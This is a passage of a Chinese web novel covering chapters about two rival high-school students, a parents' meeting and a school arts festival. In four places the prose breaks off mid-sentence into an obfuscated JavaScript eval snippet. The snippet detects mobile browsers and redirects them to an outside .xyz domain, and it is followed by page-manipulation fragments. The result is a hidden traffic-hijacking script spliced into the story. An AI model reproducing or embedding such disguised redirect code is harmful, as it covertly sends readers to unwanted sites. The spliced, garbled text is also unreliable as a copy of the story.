烦死了! “那么,”蒋小胖眨了眨眼睛,认真地提议道,“也许你需要换一双‘耐克’鞋了。” 纪小鱼:“……不,我拒绝为别人的错误买单!” 命运像弹簧,你强它就弱! 他克我,我就要克回去! 克克克克克克克! 纪小鱼双手竖起食指和中指,摁在太阳穴上,对着何非亮的座位用脑电波施法。 然而一边施法,脑海中竟然还在一边回响着那什么《克罗地海洋》! 啊,救命,这首歌名字里也有个“克”字! 疯了!疯了! 晚自习的上课铃声打响。何非亮准时准点地踏着铃声走进了教室,一眼就和目露凶光、笑容扭曲的纪小鱼对上了。 何非亮:“?” 已经上课了,不适合再讲话了。纪小鱼把草稿本推了过去,上面凶巴巴地写着,“喂,没有《克罗地海洋》这首歌。” 草稿本不一会儿又被沿着桌面推了回来,上面多了一句话,自带欠扁至极的音效,“当然,我瞎编的。” 呵呵。 纪小鱼龙飞凤舞,以抽象的笔触,略微激进地抒发着内心的愤懑不平——“凸^-^凸” 何非亮笔走龙蛇,回之以潇洒写意的简笔——\_(ツ)_/ 嘿呦,好气哦! 纪小鱼咬牙切齿,又提笔威胁道,“快点告诉我你的心事!!!快点!!!不然我下辈子一定变狗咬你!” 草稿本又被推了回来,上面简简单单地写着,“好。( T_T)\(^-^ )” 啊? 真的假的?何非亮就这么答应了? 就……就这么容易吗?他甚至没有提什么交换的条件? 这、这怎么可能呢? 纪小鱼不敢相信地看了看草稿本,一笔一划地确认了那上面的确是一个“好”字,还是觉得事情不可能那么简单,狐疑地将目光投向了何非亮。 何非亮微微一笑,笑里似乎藏着点零星的温柔,晃得人发晕。他冲纪小鱼挤了挤眼睛,忽然从座位上起身,径直走向讲台。 啊? 纪小鱼愣愣地看着何非亮的背影,小小的脑袋里挤满了大大的问号,连呼吸都有了一瞬间的滞涩。 这……他这是要干嘛? 难不成,他要把他的心事向全班同学公布吗? 啊?他疯了吗?我、我有把他逼得太狠了吗?有吗? 没……没有吧……我不就是吓唬了他一下吗…… 只见何非亮神态自若地拿起粉笔,在黑板上言简意赅地写下一行通知——“本周五晚7:30,本班教室将举行家长会”。 一石激起千层浪,随即吓死几个小同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120535|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学。安静的教室顿时就炸了。 “啊啊啊啊啊!家长会!不要啊!” “救命,这次是我考的最差的一次!为什么偏偏是这次考完开家长会!惨了惨了……” “唉,你说家长会到底有啥意义啊!真的可以让父母了解到孩子学习的真实情况吗?上次家长会完了,我妈竟然让我和班长大人比学习!救命啊,我差了班长大人整整一百多分啊!一百多分啊!” “我更惨好吗!每次家长会完了,我爸就跟打了鸡血似的!上一次开完家长会完了那几天,我爸就非要抓着我到我家阳台,逼着我和他一起喊‘我要上清北’。真的,就是他还带头喊的那种!他一喊出来我整个头皮就麻了,真的是喊得半个小区都能听见!我真是怕了!我爸还美名其曰,‘你们老师说了,要积极和孩子站在同一战线、树立同一目标’,他这是在激励我。” 空气中充满了愉悦的气息,大家都赞道,“你爸还真是个狠人!” 还有同住一个小区的同学热情地跳出来作证,“诶,我也听到了,原来是你爸啊!” “唉!太狠了!我冥冥之中就有一种预感,这次家长会完了以后,我们家怕是会多几个那种红底白字的横幅挂在客厅里,什么‘书山有路勤为径,学海无涯苦作舟’[3]、‘别为失败找借口,要为成功找方法’那种。” “哎呀,我琢磨着,不如咸鱼收购一个爹帮我开家长会得了。” “别傻了,现在老师和家长之间都有群了,要开家长会这种消息哪还能像以前一样瞒着。谁没交作业老师都经常往群里打小报告呢。” “啊,没交作业都往里说啊?真的假的?” “真的!唉!至于我为什么会知道呢?因为我就是那个没交作业、周末回家被训了一晚上的人呐!” “哎呀,不过我觉得吧,偶尔开一开家长会也挺好的。” “为啥啊?” “因为我这次就考得挺好的。嘿嘿……嘿嘿!” 几家欢喜几家愁。喧闹声中,何非亮像没事人一样走回座位。 他脸上的神情依然是淡淡的,把所有多余的情绪都裹进了一团猜不透的迷雾里,比纪小鱼做过最难的语文阅读理解还要更难揣摩。他穿过走道的时候,身体又隐约带起了些慵懒散漫的微风,吹得纪小鱼心思百转,在那一刹那间平白脑补了很多的故事。 恍惚间,纪小鱼觉得内心深处的某一个隐秘的角落好像被轻轻地触动了一下,呆呆地问道,“这就是你的心事?” “当然不是。” “喂!”脑海里一连串悬浮的泡泡一瞬间全部都被刺穿了、扎破了,纪小鱼感觉到自己好像被耍了一样,生气地囔囔道,“你怎么说话不算数!你不是说‘好’了吗?” “我是说,”何非亮弯了弯眼睛,“你下辈子可以变狗咬我。我不介意。” 嘿呦,好气哦!!! 纪小狗咬着牙,努力地用理智控制着自己恨不得现在就扑上去咬他一口的冲动。 汪汪汪汪汪! “咳,”教导主任突然从教室后门探出了半个脑袋和肚子,洪亮的声音以一己之力盖住了一众的嘈杂,“全校哪个班最吵?” A班大概是没有什么当电商主播的好苗子,没人接茬,大家都自觉闭嘴。 教室里又恢复了安静。有的在写字、有的在翻书,还有的在装模作样地走着神…… 一如往日。 52.第五十二章 风起云涌 诗人可以不知道风是在哪一个方向吹。 但是学地理的同学不能不知道。 山风、谷风、海风、陆风、信风、季风、台风、焚风、布拉风……风风都是考点,而且是考点中的重点啊! 今天的地理课上,老师大张旗鼓地总结归纳了高考地理常见的几种有关风的知识点。蒋小胖马不停蹄地跟着黑板上换了一版又一版的粉笔字抄着笔记。抄到后来,手也酸了,眼睛也糊了,光是盯着黑板,都觉得自己好像已经有点不太认识“风”这个字了。 古有风动、幡动、心动之争。现如今,纸上之风,亦能使人凌乱。可见心动之说,不无道理。 对此,蒋小胖诚恳地表示,“我已经疯了。” 唉,这年头,哪有高中生不疯的呢? 还好下课铃声及时打响,把眼睛打叉的可怜小胖从崩溃边缘又及时地抢救了回来。 这个星期操场上的草坪翻新,因此一、二节课与三、四节课之间长达半个小时的大课间总算不用出操。教室里趴了一片,都在争分夺秒地补眠。 “小鱼,”何非亮拎起水壶慢悠悠地站了起来,“我去接水。要不要顺便帮你?” “哦,不用,”纪小鱼瞥了一眼自己的水壶,“我这里还有大半瓶呢,够喝。” “诶,学神哥哥等一等!”蒋小胖殷勤地把自己空了的大水壶递了上去,“帮帮我呗,拜托拜托。” “好。”何非亮随意地抬起一根无名指勾住水壶的扣柄,轻而易举地就把水壶从蒋小胖手中顺走了,然后晃晃悠悠地迈步走出了教室。 “嘿嘿!学神哥哥人真好!” “嘿嘿!学神哥哥的手也真好看!” “嘿嘿!o(^▽^)o” 蒋小胖开心地傻笑,一转眼,就看见纪小鱼正对着写好的地理作业发呆。 “哇,”蒋小胖情不自禁地感叹道,“小鱼,你写得好快哦!刚才上课的时候写的吗?” “不的。”纪小鱼摇了摇头,略加回忆,“这应该是上上个月的某个晚自习写的。” “啊?真的假的?”蒋小胖大惊失色,“小鱼,你地理也这么卷啊!” “咳,我也不是故意的,”纪小鱼有点不好意思地搔了搔脸,“那天那个晚自习有点累,就想做点不费脑子的事情。一不小心,就把一整本都写完了。” 蒋小胖:“……啊?不费脑子的事情?Excuse me?” 顺手翻了翻,果然,地理习题册那厚实的一整本还真的全部都被写完了,白纸黑字,连一个空也没落下。不够准确的地方,还在旁边用红笔订正了。 救命啊! 这真的是上上个月就写完了的吗? 上上个月,那才刚开学吧? 一个大胆的猜想突然浮现在蒋小胖的心里。 “小鱼,”蒋小胖小心地开口问道,“你的那个历史习题册,不会也早早写完了吧?” 纪小鱼摇了摇头,“没有。” 蒋小胖呼了一口气,略微地放松下来。 “只写完了选择题。大题在脑子里大概想了想,又对照着答案过了一遍。”纪小鱼无奈地叹了口气,“没办法,历史大题字太多了,怕费笔水。” 呃……什、什么? 蒋小胖挠了挠头。 “字太多了,怕费笔水”——换做是别的同学说出这个大逆不道、不写作业的理由,一定会被历史老师一掌拍飞去找秦始皇讨钱买笔吧。 不过,如果是纪小鱼或者是何非亮说出这个理由,历史老师肯定不会生气,估计还会特和善地坐下来和他们一起吐槽。 没办法,谁让他们两个在各科老师眼里都自带滤镜呢!对美丽与卓越的欣赏乃人之常情也。 蒋小胖呆呆地看着自己的掌心——哎呀,都说“物以类聚、人以群分”,自己莫不是有什么尚未挖掘的惊人才华,才能和纪小鱼保持着这样不渝的友情? 没想到,反倒是纪小鱼率先握住了蒋小胖的手,恳切地问道,“诶,小胖,你觉得我有没有什么特别牛逼的才华?要艺术方面的!” “啊?”蒋小胖被这个突如其来的问题问得有点懵,“艺术?什么艺术?行为艺术?” “不、不,没那么复杂。就是今天是艺术节个人项目报名的最后一天了,”纪小鱼的目光中盛满了忧愁,“可是我还没想好要表演什么诶。” “要不就表演钢琴吧,”蒋小胖真心地建议道,“我觉得你弹钢琴就挺厉害的。不是那种普通的厉害,是那种听到会让我有点感动的厉害。” “钢琴?” 纪小鱼摸着下巴陷入思索,不知道为什么,脑海里又回想起了昨天那个有风的傍晚,以及那个在霞光中认真而专注、独自弹奏的身影。 啊,等等! 钢琴!艺术节! 一道恍然的电光从纪小鱼的眼前闪过。 哦~我懂了!何非亮的心事,肯定是要在艺术节表演我最擅长的钢琴,并且抢走我的第一名! 太狠了,他这是想要在我最擅长的地方打败我啊! 啧,他肯定老早以前就想这么干了!只是很遗憾,当年的那场本来要和他一较高下的钢琴比赛,我恰好没有参加,大发慈悲地放过了他一马。 嗯,那是几年前的事来着?六年、还是七年?呃,好像都已经快要八年了……不是吧,人体全身的细胞差不多都换过一遍了,何非亮还惦记着这件事?好吧,他还真是小心眼哦! 这样一切都说得通了! 所以、所以他才会等大家都走了还在音乐教室里偷偷练琴!所以他才会在被发现了以后支支吾吾、遮遮掩掩的! 再串联起不久前何非亮曾经故意挖下陷阱激着他放出狠话、非要在艺术节中大展拳脚的怂恿……对呀,何非亮为什么要煞费苦心地让他参赛呢,这肯定是有阴谋的呀! 竟然是这个目的! 呵呵,原来命运的齿轮早就已经开始旋转。现在看来,战场的帷幕都已经搭好,狡猾的敌人也已经就位。只等他披上熠熠的盔甲征战,夺得那荣耀的冠冕。 有人推波助澜,有人兴风作浪,局势风起云涌。 嘿呀,看来,这次的艺术节还真是不简单啊! “小胖,不急。”纪小鱼的嘴角漏出一点森冷的笑,起身抄起还有大半瓶水的水壶,“我去接点水,顺便找找灵感。” - 教室外,日光和煦。 天空像没有烦恼一样,是被洗净的湛蓝。 奇怪,人的烦恼是怎么出现的呢?是生下来就有的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124722|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许吧。 纪小鱼记得妈妈说过,自己刚生下来的时候没哭,只顾着无辜地睁着两只眼好奇地打量着这个世界,是医生硬把他打哭的。 那些大人围着他,看见他咧着小嘴、哇哇大哭、哭得越来越厉害,才终于松了口气,放下心来,看着他露出微笑。 “你看你,”妈妈有时候就拿这个事情打趣他,“自己哭不好吗?白让人把你打一顿。” 纪小鱼只觉得委屈,“这事情又没人教过我!我怎么知道刚生出来要哭呢?” 正想着,纪小鱼一回神,差点被突然出现、拦在他身前的人影吓了一跳。 “乔……” 生涩的音节卡在喉间,又被咽了下去。 单论轮廓而言,眼前的少女和乔冬冬足足有九分相似,让纪小鱼乍一眼看差点认错。但目光稍一聚焦,便发现她们于精心雕琢的细节处多有不同,是气质上完全不一样的两个人。比如,乔冬冬眼尾偏冷硬凛冽、上扬收尖的线条,在她的脸上便缓和了下来,浑然而成了一种柔圆的形状,平添了几分清澈和无害。 她把自己裹在宽大的校服外套里,只露出纤细的脖颈和白皙如睡莲的脸庞,一眼望去宛如古典名画中走出的美人。 她张开手拦住了纪小鱼的去路。 “纪小鱼,我叫乔希希。是S中舞蹈团的领舞、交响乐团的首席。” 啊,这么厉害! 这一段简短的自我介绍,让纪小鱼都忍不住发自内心地惊讶了一下。 S中再怎么两耳不闻窗外事的小同学都或多或少地听说过学校舞蹈团和交响乐团的赫赫声名。毕竟,舞蹈团、合唱团和交响乐团,这三块文艺类的金字招牌,那可是张校长时不时就要在全校开大会的时候拎出来吹嘘一番的骄傲。 只是没想到,舞蹈团的领舞和交响乐团的首席,竟然是同一个人! 也不知道有何贵干…… 纪小鱼抬起手,尴尬地和她打了个招呼,“Hi~” “这次艺术节,听说何非亮已经报名了。”乔希希扬起头,认真又坚定地望进纪小鱼的眼睛,“你想不想拿第一?我们合作,联手打败他,怎么样?” 哦! 纪小鱼恍然大悟。 原来又是何非亮的仇人啊! 啧,何非亮还真是低情商耶,怎么到处得罪人啊! 他难道没有听说过“木秀于林,风必摧之”吗?他怎么就不能低调一点,不要老是拿第一呢?把第一让给我,我愿意为他承受这种风风雨雨啊! 至于这个合作——纪小鱼下意识地觉得吧,这是“低情商”的何非亮和别人的恩怨,自己还是先不要卷入进这样是是非非的争斗中比较好。再说了,怎么想都是靠自己的力量把何非亮打扁比较爽一点。 于是,纪小鱼婉言谢绝,“谢谢你的邀请,不过,我还是想表演我自己的节目。” 说完,纪小鱼便掂着水壶,打算从乔希希身边绕行而去。 “对不起,这样说可能太唐突了。”乔希希的目光有一瞬间的晃动,她抿了抿唇,终于不再迟疑,鼓起勇气,像是立下了某种近乎偏执的决心,在纪小鱼的身后坚持道,“但是我确实非常需要你的帮助……” 纪小鱼回过头,在她的眸光里看到了熟悉的火焰。 53.第五十三章 做我傻弟 吾日三省吾身—— 离最后一节晚自习下课还差五分钟,又到了每日问答环节。 “Q1:今天的精神状态还好吗?” 非常好! 元气满满、斗志蓬勃、神清气爽、积极向上!回家还能再写八套真题! 啊哈哈哈哈! 纪小鱼给自己竖起了大拇指。 据说良好的心态是成功的一半,看来我已经成功一半了!未来可期呀! “Q2:今天学到新知识了吗?” 学到了! 今天的每一节课都有认真地听讲!还做了很多题查漏补缺! 是非常充实的一天! “Q3:今天打败何非亮了吗?” 呃…… 啊,这个…… 纪小鱼抿着唇,皱着眉头思索了一下,越想越觉得有点心虚。 哎呀呀,昨天的化学课堂小测今天发下来了,自己因为粗心错了一道计算甲醛时钟初期阶段pH值的问题呢……只得了98分。 至于何非亮,他就好像一个设计缜密的机器人一样,程序里压根就不存在“粗心”这个bug,只有确实不会的,没有不小心做错的,一张卷子常常连一个涂改也没有。 而这次小测里显然没有他不会的,因此他轻而易举地就拿了100分,被化学老师夸了又夸,可谓是出尽了风头。 足足夸何非亮夸够了五分钟,化学老师才终于意犹未尽地停了下来。纪小鱼连忙正襟危坐,想着接下来就该夸考了第二名的自己了。 结果,化学老师就只是浅浅念了一遍90分以上同学的名字,说了一声“考得不错,再接再厉”,就这样带过了。 没了?就这样没了? 还真的没了。 等了一会,真的再没有后续了……纪小鱼眼睁睁地看着化学老师就这么背过身,开始在黑板上板书甲醛与亚硫酸氢根的反应方程式了。 啊啊啊啊,真的是烦死了! 如果没有何非亮,那个被夸五分钟的人就是我了!!! 哇哇哇哇哇!何非亮,贪婪的头筹垄断者、横暴的荣誉掠夺怪,像伪善的毒蛇一样狡猾,像不详的乌鸦一样邪恶,明明有七宗罪的傲慢却不受负重之罚,明明无七德行的善举却偏受上天庇佑! 他,脚踩流云于顶峰睥睨,像是在嘲笑别人费尽辛勤的攀登;他,不费吹灰之力便能受邀站在领奖台的最中心接受万众瞩目的朝拜和附赠的金牌,他像横征暴敛的黑洞一样霸道地抢去身边其他人赤热的光彩! 而我,如此优秀,生而不凡,就是因为有了他,才显得这么没有存在感!!! 气死我了! 不行,不能因为他,让我今天的计划完不成! 我要勇敢一点! 我要坚决一点! 我要用我的力量鞭笞压迫者的凌辱!我要用我的行动违抗命运的踌躇! 嗯……就这么干! 纪小鱼抬起手,大力往趴在旁边睡觉的何非亮肩膀上拍了一下。 何非亮懒懒地从臂弯里抬起来一点头,略显迷茫地撩起了一点眼皮,用眼神询问道——“干嘛?” 纪小鱼摆出一副笑眯眯的样子,只是那笑容不怀好意,甚至有点扭曲。他俯身,靠近何非亮的耳畔低语,“没什么,就打你一下。” 神经病啊——何非亮毫不吝啬地送给了纪小鱼一个大大的白眼。 纪小鱼才不管那么多,他在心里吹着快乐的口哨,把“败”字用黑笔涂抹殆尽——这个字不吉利,还是不要了。 这样以后,纪小鱼心安理得地欣赏起了自己的计划本。 「 今日计划: 保持好心情(√) 学习新知识(√) 打█何非亮(√) 」 啊,全部完成了! 真好! 我真牛逼! 嘻嘻! - 时间匆匆,匆匆,太匆匆! 家长会,终于还是来了。 会前,纪小鱼紧急联系蒋小胖,“可以把你的妈妈借给我吗?我妈妈今天有事,来不了。” “当然可以啊!”蒋小胖爽快地答应了,“我爸、我妈,还有我爷爷都很想来参加这次家长会。他们在家里争了很久呢。” “那你把你爸爸借我吧。” 纪小鱼:“???” 蒋小胖:“!!!” 开口的是何非亮。 开口的是何非亮? 开口的是何非亮! “啊,啊!可以、可以,太可以了!这是我爸的荣幸!”蒋小胖反应过来,激动地答应了,并且几乎要热泪盈眶了,“那四舍五入,我们就是三兄弟了!” “不要!”纪小鱼嫌恶地摆了摆手,一点面子也不给,“我才不要和何非亮当兄弟!” 何非亮淡淡地睨了纪小鱼一眼,“我也不要。” 蒋小胖看了看纪小鱼,又看了看何非亮,眨着眼睛,尴尬地笑了笑。 “不过,”纪小鱼在草稿纸上写下了“兄弟”两个字,用胳膊肘撞了撞何非亮,当着何非亮的面,在“兄”字的左边加了一个单人旁(“亻”),上面加了一小撇(“丿”),中间打了个叉(“x”),又在下面多添了个反文旁(“攵”),硬生生地把“兄”字凑成了个“傻”字,终于心满意足地点了点头,笑呵呵地开口道,“你要是做我的傻弟我就不介意。” “呵呵,我们两个,你更傻吧?”何非亮不以为意地勾起唇角,脸上了泛起了一丝若有似无的微笑。他的目光在纪小鱼的错题本上挑衅地点了点,“你看,你甲醛时钟这道题都能算错。” “嗷呜~”纪小鱼差点气得当场脑溢血。 啊,我的记仇本呢?这种事情必须要被记下来的吧! 可恶!真是太可恶了!一个人怎么可以一边微笑一边在别人的伤口上撒盐?怎么可以用轻飘飘的几个字就打乱我精心设计的圈套?为什么他对别人尚且保持伪善,对我却直接露出獠牙? 纪小鱼握紧双拳,一边努力安抚着自己上蹿的血压和错乱的神经,一边搜索枯肠,在自己的中文语料库中寻找有力的反驳。 但找了半天,也只找到了些诸如“阿巴阿巴”、“西米西米”、“东南西北”之类的话语,很明显是已经被气得思维飘逸了。 唉! 纪小鱼张了张嘴,却没有发出声音。他略显懊恼地垂下肩膀,眼巴巴地看向自己的错题本。 这道题的确是不应该错的…… 嘿呀,可是,不就是不小心做错了一道题吗?怎么就给人抓住把柄了呢?T_T 好不爽哦! 纪小鱼发誓,以后不管是大考还是小测,甚至是平时写作业、写练习题,他都要养成检查的好习惯,再也不粗心了! “而且,”何非亮不依不饶,循循诱导,“我们两个,你更小吧?” “哼。”纪小鱼环抱着双臂,闷闷不答,一副气呼呼的模样。 “要不,”胜利的天平已经再无悬念了,何非亮故作真诚地提议,“还是你做我的傻弟吧,我也不介意。” “滚。”纪小鱼捂着自己受伤流血的心脏,难得的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135422|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言简意赅。 - 重新坐回教室,对很多家长来说,是一场陌生又新奇的体验。 他们小时候也许不爱听课,但是现在却听得一个比一个认真。 “读文科还是读理科,这是一个值得深思熟虑的问题。希望每位家长重视起来,尊重孩子兴趣爱好的同时,也要兼顾孩子未来的发展方向。”班主任严老师站在讲台的正中,看着讲台下一张张面向着她殷切的脸,心里突然就冒出了一句叹息——可怜天下父母心。 于是,她又忍不住多补充了一下自己的想法,“我个人建议大家花时间去看一下往年的志愿填报指南和招生专业目录。读文还是读理,不仅关乎着高中阶段侧重学什么,高考考什么,也很大程度决定着孩子将来的竞争形势和升学机会。也许是决定一生的这么一个选择。” “很多别的学校在高一阶段就已经分好了文理科。但我们结合过往的教学经验和毕业学生的反馈,认为文理科的选择实际上需要更为慎重周全的考虑,有时候这个选择的重要性甚至大过于努力。所以我们学校克服了很多阻力,把文理科的分流延长到了高二上学期结束,就是希望家长和孩子们能够有更充足的时间了解各科学习的实际内容,最终结合自身的情况做出更好的判断。” “有一个信号是,文科理科的高考人数年年都在增加,但是去年,本省的文科类本科招生却是缩招了。” “而理科类高分段的竞争,非常激烈。” …… 教室里家长们聚精会神地听着,教室外的窗边,站着一堆小同学旁听。 没办法,今天星期五嘛,好多住得远的小同学还等着家长把自己捎回去呢。 纪小鱼也在旁边等着,倒不是在等家长,而是等会要作为优秀学生代表和家长一起上台发言。 当然,何非亮也在。他远远地倚靠着廊柱站在一边,和众人拉开了距离,仿佛遗世而独立。 纪小鱼注意到了他端着手机,好像正专注地看着什么东西——看一会,还打一会字。 咦? 何非亮躲在一边鬼鬼祟祟地在干什么?不会是在偷卷吧? 一个大大的问号占据了纪小鱼的大脑,驱使着他非得要去看看不可。 纪小鱼蹑手蹑脚地靠近,突然就扒住何非亮的胳膊,好奇地凑上去,“你在干嘛?” 何非亮耸了耸肩膀,“我在准备待会的演讲稿。” “哈哈哈哈哈哈!”纪小鱼捧腹大笑,趁机奚落道,“有没有搞错啊!你好菜啊!你发言还要打草稿!你要笑死我吗?” “不是给我的哦,”何非亮眨了眨眼睛,一本正经地说,“是给小胖爸爸的。” 啊? 纪小鱼头顶冒出涔涔冷汗。 惨了惨了,他完全忘记这回事了——忘记给小胖妈妈写演讲稿了! 可是已经来不及了。 教室里突然响起了一片掌声。教室外有人冲他喊,“纪小鱼,快来!老师叫你了!” 站在讲台上,纪小鱼感觉到了罕见的紧张。他和小胖妈妈面面相觑。 讲台下,众人都流露出期待。除了小胖爸爸和小胖爷爷。小胖爸爸在憋笑;小胖爷爷心情复杂,似乎希望自己才是那个能上去说两句的人。 “这孩子,”小胖妈妈硬着头皮临场发挥,“从小到大学习就没有让我操过什么心。” “我的经验主要就是要相信孩子。” “来,小鱼,”小胖妈妈热络地招呼道,“你和大家讲讲你平时都是怎么学的。” 说完,纪小鱼和小胖妈妈同时松了口气。 54.第五十四章 第一支舞 “同学们,艺术应该是一种更高的品味,是对世界另一种形式的思考和表达,是对美的追求、敬畏和欣赏……”艺术节的开幕仪式上,张校长正在进行着激情澎湃的演讲。他今天穿了大红色的针织套头毛衣,整个人显得既精神又喜庆。 话锋一转,张校长的脸上突然暗暗显露出一丝自得的笑容,竟然公然夹带起私货,“近些年来,我在艺术领域上也颇有心得……” 不知怎的,又延伸到了中美关系、国际形式,文化输出…… 这一讲,已经过去大半个小时了,仍然并没有要收尾的意思。 台下,黑压压的人群中。纪小鱼正襟危坐,目视前方,两眼发直,神游物外。 蒋小胖坐在他的旁边,适时匆匆赶完了一面卷子,翻页时抬头的瞬间,注意到了显得不太对劲的纪小鱼,认真又困惑地仔细观察了一番,终于确认了他的确是在发呆。 “小鱼,”蒋小胖惊愕地伸开五指在他的眼前晃了晃,“小鱼,你不抓紧时间写题吗?大家都在写呢!” 这番话若是让张校长听到了,也不知道他是会欣慰同学们争分夺秒努力学习的刻苦,还是会震惊而悲痛地高呼——艺术已死! 咳,但这何尝不是一件情有可原的事情呢? 甭管艺术是对美的彰显还是对丑的嘲笑、是对爱的表露还是对人生的感悟,根据八阶段马斯洛需求层次理论,安全需要是基本的,审美需求是更高的。还没有写完作业的高中生大抵是没有什么安全感的,也因此大抵是不怎么关心张校长口中的艺术的。 纪小鱼回过神来,给了蒋小胖一个安慰的笑,“没事,我在思考。” 至于思考的是什么——那当然是今晚获得胜利后的致辞! 啊哈哈哈哈哈!但是这个暂且要保密!稳住、稳住!要给大家一个惊喜! 纪小鱼眨了眨眼睛,反问道,“小胖,你今天有节目吗?” “有的。”蒋小胖点了点头,“我参加了蒋青青组织的英语话剧,我们班很多同学都参加了。” 一边说,蒋小胖一边从作业堆里翻出一张节目单,手指一路下滑,停在了一个名叫《哈哈哈姆雷特》的名字上,“就是这个!” “哦~”纪小鱼赞赏地点了点头。 哈姆雷特纪小鱼知道,是一个被仇恨逼迫得有些疯癫的年轻人。 哈哈哈姆雷特就不知道了——大概疯得更厉害些。 毕竟是英语话剧,纪小鱼好奇地问道,“那你准备好台词了吗?” “我准备好了。”蒋小胖信心满满,“噢~~” “啊?” “噢~~” “什么?” 蒋小胖一本正经道,“这就是我的台词啊。” “你的台词?” “嗯,”蒋小胖有点不好意思地点点头,“哎呀,就这一句。” “你……演的是啥?”纪小鱼困惑地问。 “是一个吓晕过去的老妇人。” “所以,‘噢’完以后——” 蒋小胖拊掌一笑,“就吓晕过去啦!” “不过、不过,”蒋小胖补充道,“虽然我只是一个小小的配角,但我还是有服装、有道具的,她们还给我准备了一顶卷卷毛的假发。” 纪小鱼想象了一下小胖这样的造型,忍不住笑出声来。 正在这时,台下突然响起了一阵暴烈的掌声。 “啊?”纪小鱼左顾右盼,“干嘛?干嘛?节目开始了吗?我怎么还是只看见了张校长?” 何非亮在一旁淡笑着解释道,“张校长刚才说他要献唱一曲。” 卓影急疯了。 以前怎么没看出来——这个张校长竟然是一个p人,怎么突然就想唱就唱了呢?也不提前打声招呼! 哎、哎呦! 这、这还啥都没准备呢! 节目组紧急行动起来。终于在一分钟后,《光辉岁月》的背景音乐响了起来。 张校长的歌声仿佛在风雨中紧抱自由,有着可以改变未来的自信。 一曲终了,亲自上阵调音的卓影几乎全身每一个毛孔都冒出汗来。 台下终于响起了如雷的掌声。 张校长满意地和大家挥手致意。 “呼!”卓影按摩着自己的手指,如释重负地松了一口气。 谁懂啊,调音设备的各种按键都快擦出火星了。 “哎呀,”卓影苦涩地摇了摇头,抓起手边一杯不加糖的美式,像品味红酒一般摇晃着啜饮了一口,“总算是圆满收场了。今晚回去我一定要给自己点一首《幕后英雄》!” 接下来,才终于是原本节目单上的第一个节目——由学校舞蹈团带来的《玫瑰》。 西装革履的男生,穿着白色垂坠纱裙的女生,伴随着仲夏夜安宁典雅的音乐、成双成对地跳着维也纳华尔兹出场。他们的舞步平稳而轻快、整齐而默契,旋转时轻盈如蝶,身姿柔软得像是春日刚抽芽的细柳。 哦,华尔兹,多么奇特的舞蹈! 纪小鱼饶有兴趣地看了会,就着背景音随意哼唱—— “ 这舞蹈多么的有趣 你前进我就往后退 像不像世人的恋爱 充满了推推拉拉 很爱你但我偏不说 想要你来猜 想要你明白 想要我独特的光采 被你喜爱 …… 这舞蹈多么的有趣 你踏错我也紧跟随 像不像世人的心意 分不清错错对对 很爱你但我不愿说 找很多借口想很多理由 就这样保持着距离 互不伤害[1] …… ” 何非亮惊奇道,“你爱谁?” 纪小鱼朝何非亮翻了一个巨大的白眼,“我自己。” 停顿了一下,纪小鱼又半带着好奇随口问道,“你呢?” “巧了,和你一样。”何非亮笑眯眯地应道,“也是我自己。” 噫~ 纪小鱼嫌弃地摇了摇头。 又是一个自恋狂!!! 呃哈哈哈哈,这样讲好像有哪里不对……╮( ̄▽ ̄"")╭ 就在这时,音乐在转折处骤然爬升了一个陡峭的坡度,打破了本该如此静好下去的岁月。 这一个突兀的音节让许多忙着写作业的小同学都不由地抬起头,这一抬头后就再也挪不开目光。 舞台间降临下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140563|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一束聚光灯,牵引着一个穿着卡罗拉玫瑰色晚礼服的女生笔直切入。她没有舞伴,独自一人,舞步融合了探戈和芭蕾,充满活力又不失优雅,在几个连续跳跃的旋转间,散射出了动人心魄的光艳。 她掠夺了所有观众的目光,对此却毫不在意,只是高昂着头颅。脖颈处的线条简美,让人很容易联想到月桂、天鹅或者露水。 纪小鱼认出了她,她是S中舞蹈团的领舞乔希希,的确名副其实。她远远站在台上的时候,显露出了和台下截然不同的气场,像一朵花终于不遮不藏、彻底无拘地绽放。 